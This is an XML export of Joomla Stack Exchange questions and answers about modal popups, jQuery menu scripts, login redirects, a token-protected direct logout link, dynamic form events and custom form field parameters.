  <row Id="5697" PostTypeId="1" CreationDate="2014-12-16T17:05:28.053" Score="3" ViewCount="648" Body="&lt;p&gt;Using my own answer for &lt;a href=&quot;https://joomla.stackexchange.com/questions/5130/what-is-best-approach-to-show-the-component-page-in-popup-modal-window-without-h&quot;&gt;What is best approach to show the component page in popup-modal window without header and footer?&lt;/a&gt;, I mentioned that I was getting JS errors, so when as I further investigate, they persist:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TypeError:Argument 1 of Node.contains does not implement interface Node&#xA;http://mysite/mediamedia/system/js/modal.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;em&gt;Turns out to be a Firefox issue, not Joomla, so pondering deleting the question pending resolution.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put this lines directly into &lt;code&gt;index.php&lt;/code&gt; of the Protostar template of a fresh default installation of Joomla 3.2.4 and tried it that way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;JHTML::_('behavior.modal');&#xA;?&amp;gt;&#xA;&amp;lt;a class='modal' href='index.php?option=com_content&amp;amp;view=article&amp;amp;tmpl=component&amp;amp;id=10&amp;amp;Itemid=180'&amp;gt;Modal link&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A small popup does appear, but contains nothing - has anyone dealt with this before? - I'm stumped.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-01-15T20:48:50.207" Title="Content Modal Popup fails due to Javascript error" Tags="|javascript|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5698" PostTypeId="2" ParentId="5697" CreationDate="2014-12-16T20:29:43.963" Score="3" Body="&lt;p&gt;There is nothing wrong with your code. Try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn on Joomla's Error Reporting and see if there is any error message&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable Adblock if you have it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the link in a separate tab and see if it's valid (ie Joomla does not throw an error)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use absolute URL instead of relative&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2014-12-16T20:29:43.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5700" PostTypeId="1" CreationDate="2014-12-16T22:52:14.453" Score="1" ViewCount="189" Body="&lt;p&gt;I'm trying to change the way my menu is being displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works now like this:&lt;br&gt;&#xA;The first level is just displayed on home page. Children items are being displayed as a dropline bar under the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change to this:&lt;br&gt;&#xA;the dropline bar to be displayed only at the second level items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have these two files but I don't know what to change:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function ($) {&#xA;    $.fn.spmenu = function (options) {&#xA;        var defaults = {&#xA;            startLevel: 0,&#xA;            direction: 'ltr',&#xA;            center: 0,&#xA;            marginLeft: 0,&#xA;            marginTop: 0,&#xA;            width: 200,&#xA;            initOffset: {&#xA;                x: 0,&#xA;                y: 0&#xA;            },&#xA;            subOffset: {&#xA;                x: 0,&#xA;                y: 0&#xA;            }&#xA;        };&#xA;&#xA;        var options = $.extend(defaults, options);&#xA;&#xA;        return this.each(function () {&#xA;&#xA;                //First Level&#xA;&#xA;                $(this).find('&amp;gt;li.menu-item.parent').each(function (index) {&#xA;&#xA;                        var $this = $(this);&#xA;                        var $submenu = $this.find('&amp;gt;.sp-submenu');&#xA;                        var rootLevel = ($this.closest('ul.sp-menu').hasClass('level-' + options.startLevel) ? true : false); //Detect Level Root               &#xA;                        if (rootLevel) {&#xA;                            $submenu.addClass('sub-level');&#xA;&#xA;                            var marginTop = $this.height() + options.marginTop;&#xA;                            var marginLeft = options.marginLeft;&#xA;&#xA;                            if (options.center) {&#xA;                                marginLeft = -($submenu.width() / 2) + ($submenu.closest('.parent').width() / 2);&#xA;                            } else {&#xA;&#xA;                                var offset = $submenu.offset();&#xA;                                var submenuWidth = offset.left + $submenu.width();&#xA;                                var viewport = $(window).width();&#xA;&#xA;                                if (viewport &amp;lt; submenuWidth) {&#xA;                                    var restWidth = submenuWidth - viewport;&#xA;                                } &#xA;                                else if(offset.left &amp;lt; 0){&#xA;                                    restWidth = offset.left*(-1);&#xA;                                }&#xA;&#xA;                                else {&#xA;                                    var restWidth = 0;&#xA;                                }&#xA;&#xA;                                marginLeft = marginLeft - restWidth;&#xA;                            }&#xA;&#xA;                            $submenu.find('&amp;gt;.sp-submenu-wrap').css({&#xA;                                    'margin-top': options.initOffset.y,&#xA;                                    'margin-left': options.initOffset.x&#xA;                            });&#xA;&#xA;&#xA;                            if (options.direction == 'rtl') {&#xA;&#xA;                                $submenu.css({&#xA;                                        'top': marginTop,&#xA;                                        'right': marginLeft&#xA;                                });&#xA;&#xA;                            } else {&#xA;&#xA;                                $submenu.css({&#xA;                                        'top': marginTop,&#xA;                                        'left': marginLeft&#xA;                                });&#xA;                            }&#xA;&#xA;                        } else {&#xA;                            $submenu.addClass('sub-level-child');&#xA;                            var marginTop = options.marginTop;&#xA;                            var offset = $submenu.offset();&#xA;                            var viweport = $(window).width();&#xA;&#xA;                            var outerWidth = $submenu.outerWidth(true);&#xA;                            var parentouterWidth = $submenu.parent().outerWidth(true);&#xA;&#xA;                            var submenuWidth = $submenu.width();&#xA;&#xA;                            var parentWidth = $submenu.parent().width();&#xA;&#xA;                            var isVisible = function(){&#xA;                                if( offset.left &amp;lt; 0 ) return false;&#xA;                                else if( viweport &amp;lt; (outerWidth+offset.left+submenuWidth) ) return false;&#xA;                                else return true;&#xA;                            }&#xA;&#xA;                            var isMegaMenu = function(){&#xA;                                if( options.width &amp;lt; submenuWidth ) return true;&#xA;                                else return false;&#xA;                            }&#xA;&#xA;                            var isRTL = function(){                                    &#xA;                                if( options.direction=='rtl' ) return true;&#xA;                                else return false;&#xA;                            }&#xA;&#xA;                            var moveMenuPX = function(){&#xA;                                if (options.direction == 'ltr') {&#xA;                                    if( outerWidth &amp;gt; parentouterWidth ){&#xA;                                        if( isVisible() ) return parentouterWidth;&#xA;                                        else return submenuWidth;&#xA;                                    }&#xA;                                    else if( parentouterWidth &amp;lt; outerWidth ) return parentWidth;&#xA;                                    else if( outerWidth == parentouterWidth ) return outerWidth;&#xA;                                    else return options.width;&#xA;                                } else {&#xA;&#xA;                                    if( outerWidth &amp;gt; parentouterWidth ){&#xA;                                        if( isVisible() ) return submenuWidth;&#xA;                                        else return parentouterWidth;&#xA;                                        //return submenuWidth;&#xA;                                    }&#xA;                                    else if( parentouterWidth &amp;lt; outerWidth ) return parentWidth;&#xA;                                    else if( outerWidth == parentouterWidth ) return submenuWidth;&#xA;                                    else return options.width;&#xA;                                }&#xA;                            }&#xA;&#xA;                            /*&#xA;                            // info graphic&#xA;                            $submenu.attr('data-width', submenuWidth);&#xA;                            $submenu.attr('data-offset', offset.left);&#xA;                            $submenu.attr('data-outerwidth', outerWidth);&#xA;                            $submenu.attr('data-isvisible', isVisible);&#xA;                            $submenu.attr('data-ismegamenu', isMegaMenu);&#xA;                            $submenu.attr('data-viewport', viweport);&#xA;                            $submenu.attr('data-parentouterwidth', $submenu.parent().outerWidth(true));&#xA;                            */&#xA;&#xA;                            if (options.direction == 'ltr') {&#xA;&#xA;                                if( isVisible() ){&#xA;                                    marginLeft = moveMenuPX();&#xA;                                } else {&#xA;                                    marginLeft = -moveMenuPX();&#xA;                                }&#xA;&#xA;                            } else {&#xA;&#xA;                                if( isVisible() ){&#xA;                                    marginLeft = -moveMenuPX();&#xA;                                } else {&#xA;                                    marginLeft = moveMenuPX();&#xA;                                }&#xA;                            }&#xA;&#xA;&#xA;&#xA;                            $submenu.find('&amp;gt;.sp-submenu-wrap').css({&#xA;                                    'margin-top': options.subOffset.y,&#xA;                                    'margin-left': options.subOffset.x&#xA;                            });&#xA;&#xA;                            if (options.direction == 'rtl') {&#xA;&#xA;                                $submenu.css({&#xA;                                        'top': 0,&#xA;                                        'right': 0&#xA;                                });&#xA;&#xA;                                $submenu.css({&#xA;                                        'top': marginTop,&#xA;                                        'right': marginLeft&#xA;                                });&#xA;&#xA;                            } else {&#xA;&#xA;                                $submenu.css({&#xA;                                        'top': 0,&#xA;                                        'left': 0&#xA;                                });&#xA;&#xA;                                $submenu.css({&#xA;                                        'top': marginTop,&#xA;                                        'left': marginLeft&#xA;                                });&#xA;                            }&#xA;                        }&#xA;&#xA;                        var $timeer;&#xA;&#xA;                        $this.on('mouseenter', function (event) {&#xA;                                event.stopImmediatePropagation();&#xA;                                $(this).find('&amp;gt;.sp-submenu').removeClass('open');&#xA;                                $(this).find('&amp;gt;.sp-submenu').addClass('open');                                    &#xA;                        });&#xA;&#xA;                        $this.on('mouseleave', function (event) {&#xA;                                var $_this = $(this);&#xA;                                $(this).find('&amp;gt;.sp-submenu').removeClass('open');                                   &#xA;                        });&#xA;                });&#xA;        });&#xA;&#xA;    };&#xA;&#xA;})(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the second one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($) {&#xA;    $.fn.spmenu = function(o) {&#xA;        var p = {&#xA;            startLevel: 0,&#xA;            direction: 'ltr',&#xA;            center: 0,&#xA;            marginLeft: 0,&#xA;            marginTop: 0,&#xA;            type: 'mega',&#xA;            mainWidthFrom: '.container',&#xA;            initOffset: {&#xA;                x: 0,&#xA;                y: 0&#xA;            },&#xA;            subOffset: {&#xA;                x: 0,&#xA;                y: 0&#xA;            }&#xA;        };&#xA;        var o = $.extend(p, o);&#xA;        return $(this).each(function() {&#xA;            $(this).find('&amp;gt;li.menu-item.parent').each(function(e) {&#xA;                var f = $(this);&#xA;                var g = f.find('&amp;gt;.sp-submenu');&#xA;                g.attr('style', '');&#xA;                var h = (f.closest('ul.sp-menu').hasClass('level-' + o.startLevel) ? true : false);&#xA;                if (h) {&#xA;                    g.addClass('sub-level');&#xA;                    var i = f.height() + o.marginTop;&#xA;                    var j = o.marginLeft;&#xA;                    if (o.center) {&#xA;                        j = -(g.width() / 2) + (g.closest('.parent').width() / 2)&#xA;                    } else {&#xA;                        var k = g.offset();&#xA;                        var l = $(o.mainWidthFrom).width();&#xA;                        if (l &amp;lt; n) {&#xA;                            var m = n - l&#xA;                        } else {&#xA;                            var m = 0&#xA;                        }&#xA;                        j = j - m&#xA;                    }&#xA;                    g.find('&amp;gt;.sp-submenu-wrap').css({&#xA;                        'margin-top': o.initOffset.y,&#xA;                        'margin-left': o.initOffset.x&#xA;                    })&#xA;                } else {&#xA;                    g.addClass('sub-level-child');&#xA;                    var i = o.marginTop;&#xA;                    var j = f.children('.sp-submenu').parent().width();&#xA;                    var k = g.offset();&#xA;                    var n = k.left + g.width();&#xA;                    var l = $(o.mainWidthFrom).width();&#xA;                    if (l &amp;gt; $(window).width()) {&#xA;                        l = $(window).width()&#xA;                    }&#xA;                    if (o.mainWidthFrom == 'body') l = l - (g.width() / 2);&#xA;                    if (l &amp;lt; n) {&#xA;                        j = -(g.width())&#xA;                    }&#xA;                    g.find('&amp;gt;.sp-submenu-wrap').css({&#xA;                        'margin-top': o.subOffset.y,&#xA;                        'margin-left': o.subOffset.x&#xA;                    })&#xA;                }&#xA;                f.hover(function(a) {&#xA;                    a.stopImmediatePropagation();&#xA;                    $(this).find('&amp;gt;.sp-submenu').removeClass('open');&#xA;                    var b = $(this).find('&amp;gt;.sp-submenu');&#xA;                    if (f.parent().hasClass('level-0')) {&#xA;                        b.css({&#xA;                            top: f.height(),&#xA;                            left: 0&#xA;                        }).addClass('open');&#xA;                        return true&#xA;                    }&#xA;                    if (o.type == 'split' &amp;amp;&amp;amp; f.parent().hasClass('level-1')) {&#xA;                        b.css({&#xA;                            top: f.height(),&#xA;                            left: 0&#xA;                        }).addClass('open');&#xA;                        return&#xA;                    }&#xA;                    var c = $(window).width();&#xA;                    if (o.direction == 'rtl') {&#xA;                        if (f.offset().left &amp;lt; b.width()) {&#xA;                            var d = 0 - b.width();&#xA;                            b.css({&#xA;                                right: d&#xA;                            })&#xA;                        } else {&#xA;                            var d = f.width();&#xA;                            b.css({&#xA;                                right: d&#xA;                            })&#xA;                        }&#xA;                        b.addClass('open');&#xA;                        return true&#xA;                    }&#xA;                    if (f.offset().left + f.width() + b.width() &amp;gt; c) {&#xA;                        var d = 0 - b.width();&#xA;                        b.css({&#xA;                            left: d&#xA;                        })&#xA;                    } else {&#xA;                        var d = f.width();&#xA;                        b.css({&#xA;                            left: d&#xA;                        })&#xA;                    }&#xA;                    b.addClass('open')&#xA;                }, function(a) {&#xA;                    $(this).find('&amp;gt;.sp-submenu').removeClass('open')&#xA;                })&#xA;            })&#xA;        })&#xA;    }&#xA;})(jQuery);&#xA;(function($) {&#xA;    $.fn.spmenudrop = function(p) {&#xA;        var q = {&#xA;            startLevel: 0,&#xA;            direction: 'ltr',&#xA;            center: 0,&#xA;            marginLeft: 0,&#xA;            marginTop: 0,&#xA;            mainWidthFrom: '.container',&#xA;            initOffset: {&#xA;                x: 0,&#xA;                y: 0&#xA;            },&#xA;            subOffset: {&#xA;                x: 0,&#xA;                y: 0&#xA;            }&#xA;        };&#xA;        var p = $.extend(q, p);&#xA;        var r = $('ul.sp-menu.level-0 &amp;gt; li.active');&#xA;        var s = $('ul.sp-menu.level-0').find('li.parent').index(r);&#xA;        if (s != -1) $('#sublevel ul.level-1').not('.empty').eq(s).css({&#xA;            display: 'block'&#xA;        });&#xA;        $('ul.level-0 &amp;gt; li').not('.parent').hover(function() {&#xA;            clearInterval(p.Interval);&#xA;            $('#sublevel ul.level-1').css({&#xA;                display: 'none'&#xA;            })&#xA;        }, function() {&#xA;            p.Interval = setInterval(function() {&#xA;                $('#sublevel ul.level-1').css({&#xA;                    display: 'none'&#xA;                });&#xA;                var a = $('ul.sp-menu.level-0 &amp;gt; li.active');&#xA;                var b = $('ul.sp-menu.level-0').find('li.parent').index(a);&#xA;                if (b != -1) $('#sublevel ul.level-1').not('.empty').eq(b).css({&#xA;                    display: 'block'&#xA;                })&#xA;            }, 1000)&#xA;        });&#xA;        $('#sublevel, ul.level-0 li.parent').hover(function(a) {&#xA;            clearInterval(p.Interval)&#xA;        }, function() {&#xA;            p.Interval = setInterval(function() {&#xA;                $('#sublevel ul.level-1').css({&#xA;                    display: 'none'&#xA;                });&#xA;                var a = $('ul.sp-menu.level-0 &amp;gt; li.active');&#xA;                var b = $('ul.sp-menu.level-0').find('li.parent').index(a);&#xA;                if (b != -1) $('#sublevel ul.level-1').not('.empty').eq(b).css({&#xA;                    display: 'block'&#xA;                })&#xA;            }, 1000)&#xA;        });&#xA;        return $(this).each(function() {&#xA;            $(this).find('&amp;gt;li.menu-item.parent').each(function(f) {&#xA;                var g = $(this);&#xA;                var h = g.find('&amp;gt;.sp-submenu');&#xA;                h.attr('style', '');&#xA;                var i = (g.closest('ul.sp-menu').hasClass('level-' + p.startLevel) ? true : false);&#xA;                if (i) {&#xA;                    h.addClass('sub-level');&#xA;                    var j = g.height() + p.marginTop;&#xA;                    var k = p.marginLeft;&#xA;                    if (p.center) {&#xA;                        k = -(h.width() / 2) + (h.closest('.parent').width() / 2)&#xA;                    } else {&#xA;                        var l = h.offset();&#xA;                        var m = $(p.mainWidthFrom).width();&#xA;                        if (m &amp;lt; o) {&#xA;                            var n = o - m&#xA;                        } else {&#xA;                            var n = 0&#xA;                        }&#xA;                        k = k - n&#xA;                    }&#xA;                    h.find('&amp;gt;.sp-submenu-wrap').css({&#xA;                        'margin-top': p.initOffset.y,&#xA;                        'margin-left': p.initOffset.x&#xA;                    })&#xA;                } else {&#xA;                    h.addClass('sub-level-child');&#xA;                    var j = p.marginTop;&#xA;                    var k = g.children('.sp-submenu').parent().width();&#xA;                    if (g.parent().hasClass('level-1')) {&#xA;                        j = 37&#xA;                    } else {&#xA;                        k = g.parents('.sp-submenu-inner').width() - 45&#xA;                    }&#xA;                    var l = h.offset();&#xA;                    var o = l.left + h.width();&#xA;                    var o = h.parent().offset().left + h.parent().width() + h.width();&#xA;                    var m = $(p.mainWidthFrom).width();&#xA;                    h.find('&amp;gt;.sp-submenu-wrap').css({&#xA;                        'margin-top': p.subOffset.y,&#xA;                        'margin-left': p.subOffset.x&#xA;                    })&#xA;                }&#xA;                g.hover(function(a) {&#xA;                    $(this).find('&amp;gt;.sp-submenu').removeClass('open');&#xA;                    var b = $(this).find('&amp;gt;.sp-submenu');&#xA;                    if (g.parent().hasClass('level-0')) {&#xA;                        var c = g.parent().find('li.parent').index(g);&#xA;                        $('#sublevel ul.level-1').css({&#xA;                            display: 'none'&#xA;                        });&#xA;                        $('#sublevel ul.level-1').not('.empty').eq(c).css({&#xA;                            display: 'block'&#xA;                        });&#xA;                        return true&#xA;                    }&#xA;                    if (g.parent().hasClass('level-1')) {&#xA;                        b.css({&#xA;                            top: g.height(),&#xA;                            left: 0&#xA;                        }).addClass('open');&#xA;                        return true&#xA;                    }&#xA;                    var d = $(window).width();&#xA;                    if (p.direction == 'rtl') {&#xA;                        if (g.offset().left &amp;lt; b.width()) {&#xA;                            var e = 0 - b.width();&#xA;                            b.css({&#xA;                                right: e&#xA;                            })&#xA;                        } else {&#xA;                            var e = b.width() - 20;&#xA;                            b.css({&#xA;                                right: e&#xA;                            })&#xA;                        }&#xA;                        b.addClass('open');&#xA;                        return true&#xA;                    }&#xA;                    if (g.offset().left + g.width() + b.width() &amp;gt; d) {&#xA;                        var e = 0 - b.width();&#xA;                        b.css({&#xA;                            left: e&#xA;                        })&#xA;                    } else {&#xA;                        var e = b.width() - 20;&#xA;                        b.css({&#xA;                            left: e&#xA;                        })&#xA;                    }&#xA;                    b.addClass('open')&#xA;                }, function(a) {&#xA;                    $(this).find('&amp;gt;.sp-submenu').removeClass('open')&#xA;                })&#xA;            })&#xA;        })&#xA;    }&#xA;})(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3375" LastEditorUserId="1629" LastEditDate="2015-04-08T03:07:17.077" LastActivityDate="2015-04-08T03:07:17.077" Title="Change menu display" Tags="|joomla-3.3.x|javascript|jquery|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ClosedDate="2015-04-13T00:43:17.403" ContentLicense="CC BY-SA 3.0" />
  <row Id="5701" PostTypeId="1" CreationDate="2014-12-16T22:57:13.827" Score="6" ViewCount="2192" Body="&lt;p&gt;I want redirect users after login Current link in joomla 2.5 custom component I use this code but after login i have error 500&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          $user =&amp;amp; JFactory::getUser();&#xA;          $mainframe  = JFactory::getApplication();&#xA;            if($user-&amp;gt;id == 0){&#xA;                $uri =&amp;amp; JFactory::getURI();&#xA;                $url = base64_encode($uri-&amp;gt;toString());&#xA;                $returnurl = JRoute::_('index.php?option=com_users&amp;amp;view=login&amp;amp;return='.base64_encode($url));        &#xA;                $mainframe-&amp;gt;Redirect($returnurl,JText::_('Please Login'));&#xA;            } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how can do it?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="1629" LastEditDate="2014-12-17T01:19:42.040" LastActivityDate="2015-03-11T17:15:22.923" Title="Redirect to previous page after login in custom component" Tags="|joomla-2.5|component|login|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5702" PostTypeId="2" ParentId="5701" CreationDate="2014-12-16T23:34:06.807" Score="4" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = base64_encode(JUri::current());&#xA;$returnurl = JRoute::_('index.php?option=com_users&amp;amp;view=login&amp;amp;return='.$url, false); //false will make the URL non-xhtml&#xA;$mainframe-&amp;gt;redirect($returnurl,JText::_('Please Login'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3365" LastEditorUserId="-1" LastEditDate="2015-03-11T17:15:22.923" LastActivityDate="2015-03-11T17:15:22.923" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5703" PostTypeId="1" AcceptedAnswerId="5704" CreationDate="2014-12-17T01:44:55.007" Score="14" ViewCount="21477" Body="&lt;p&gt;I know I can display the login/logout form with the following link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/index.php?option=com_users&amp;amp;view=login&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But once logged in, this link will redirect the user to a page with a logout button that has to be clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to create a link that will log out the current user directly?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2020-11-14T17:21:06.003" Title="Direct logout link" Tags="|joomla-3.x|user|login|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5704" PostTypeId="2" ParentId="5703" CreationDate="2014-12-17T01:44:55.007" Score="24" Body="&lt;p&gt;The following link is for direct logout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/index.php?option=com_users&amp;amp;task=user.logout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But a user token is required in order to avoid an error message &lt;code&gt;Invalid Token&lt;/code&gt;, and some PHP magic is required in order to get the token. The following code will display a &lt;code&gt;Login&lt;/code&gt; link to guests, and a direct &lt;code&gt;Logout Username&lt;/code&gt; link to logged in users:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;if ($user-&amp;gt;guest)&#xA;{&#xA;    echo '&amp;lt;a href=&quot;index.php?option=com_users&amp;amp;view=login&quot;&amp;gt;Login&amp;lt;/a&amp;gt;';&#xA;}&#xA;else&#xA;{&#xA;    $userToken = JSession::getFormToken();&#xA;    echo '&amp;lt;a href=&quot;index.php?option=com_users&amp;amp;task=user.logout&amp;amp;' . $userToken . '=1&quot;&amp;gt;Logout '  . $user-&amp;gt;username . '&amp;lt;/a&amp;gt;.';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code can be included in any extension, or using a plugin/module that allows inserting PHP code directly (e.g. &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/directphp&quot; rel=&quot;noreferrer&quot;&gt;DirectPHP&lt;/a&gt;, &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/custom-html-advanced&quot; rel=&quot;noreferrer&quot;&gt;Custom HTML Advanced&lt;/a&gt;, &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/sourcerer&quot; rel=&quot;noreferrer&quot;&gt;Sourcerer&lt;/a&gt; or similar).&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="120" LastEditDate="2016-08-30T03:16:58.260" LastActivityDate="2016-08-30T03:16:58.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5705" PostTypeId="1" CreationDate="2014-12-17T05:09:02.053" Score="2" ViewCount="490" Body="&lt;p&gt;I have this situation wherein input fields only appear in the edit form when they are toggled as active in database set-up. Any ideas on how to implement Jquery/AJAX on those fields? For example, i have a dynamic field drop down list. Once a value is selected, another dynamic field drop down list will be populated depending on the first selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LastName, FirstName are original form fields&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dynamic Fields are : Address Type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can use the Id for LastName &amp;amp; FirstName but How do I use the Id of the Address Type which is only displayed / generated depending on its status in the set-up? and How will I know that the trigger for Address Type is called?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;comments are suggested and pardon me for the explanation I can't explain it clearly because I am new to AJAX and JQuery&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2308" LastEditDate="2014-12-17T05:36:45.913" LastActivityDate="2015-01-16T09:50:59.063" Title="Can dynamic fields generated to form use a jquery event?" Tags="|joomla-3.x|jquery|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5706" PostTypeId="2" ParentId="5705" CreationDate="2014-12-17T08:19:06.960" Score="2" Body="&lt;p&gt;You need to associate the events when the fields are created. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('&amp;lt;input type=&quot;text&quot; name&quot;address&quot; id=&quot;myAddress&quot; /&amp;gt;').keypress(function() {&#xA;    //do some things when keypress in address field&#xA;}).appendTo('#myForm');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2014-12-17T08:19:06.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5707" PostTypeId="2" ParentId="4691" CreationDate="2014-12-17T08:41:26.027" Score="0" Body="&lt;p&gt;There &lt;em&gt;is no&lt;/em&gt; Joomla site at that URL, it isn't that it has gone offline, there's no Joomla installation there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this because even the simplest text file, at the root of all Joomla installs, isn't there: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://radio-pendimi.com/website/robots.txt&quot; rel=&quot;nofollow&quot;&gt;http://radio-pendimi.com/website/robots.txt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-12-17T08:41:26.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5708" PostTypeId="1" CreationDate="2014-12-17T09:23:39.417" Score="1" ViewCount="211" Body="&lt;p&gt;I had a full working module that was parsing some values from a dropdownlist at backend and it was editing those values at frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday a co-worker changed something and today it doesnt work. After a bit of debugging, I found out that the list returns the results, but when I try to parse them from the program through $params-&gt;get, I take an array[8] (I selected 8 things ) full of NULLS;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('JPATH_PLATFORM') or die;&#xA;JFormHelper::loadFieldClass('list');&#xA;class JFormFieldManulist extends JFormFieldList&#xA;{&#xA;    protected $type = 'Manulist';&#xA;    protected function getOptions()&#xA;    {&#xA;&#xA;&#xA;     $db= JFactory::getDbo();&#xA;     $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('*');&#xA;        $query-&amp;gt;from('#__virtuemart_manufacturers_en_gb'); &#xA;        $db-&amp;gt;setQuery($query);&#xA;     $items = $db-&amp;gt;loadObjectList();&#xA;         $options = array();&#xA;            $counter=0;&#xA;         if ($items)&#xA;         {&#xA;          foreach($items as $item)&#xA;          {&#xA;            $options[] = JHtml::_('select.option', $item-&amp;gt;virtuemart_manufacturer_id , $item-&amp;gt;mf_name,$item-&amp;gt;slug);&#xA;            $counter++;&#xA;          }&#xA;         }&#xA;          $options = array_merge(parent::getOptions(), $options);&#xA;         var_dump($counter);&#xA;         var_dump($options); --&amp;gt; returns expected result         &#xA;         return $options;&#xA;&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die('Restricted access');&#xA;$doc                                = JFactory::getDocument();&#xA;$moduleclass_sfx                    = $params-&amp;gt;get('moduleclass_sfx');&#xA;$layout                             = $params-&amp;gt;get('layout', 'default');&#xA;$moduleName                         = basename(dirname(__FILE__));&#xA;$fmanuf                             = $params-&amp;gt;get('foreignmanuf');&#xA;var_dump($fmanuf); ---&amp;gt; return NULLS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;brand_params&quot; addfieldpath=&quot;/modules/mod_manufacturers/fields&quot; &amp;gt;            &#xA;&amp;lt;field name=&quot;foreignmanuf&quot; type=&quot;Manulist&quot;   label=&quot;Foreign Brands&quot; multiple=&quot;true&quot;  description=&quot;Foreign Brands&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could be the problem that, even if the function returns the desired results , the controller cant get em ?    &lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="126" LastEditDate="2015-06-11T13:51:17.333" LastActivityDate="2015-06-11T13:51:17.333" Title="Field function return the right results but $params-&gt;get return an array full of NULLS" Tags="|joomla-2.5|development|form-fields-types|" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
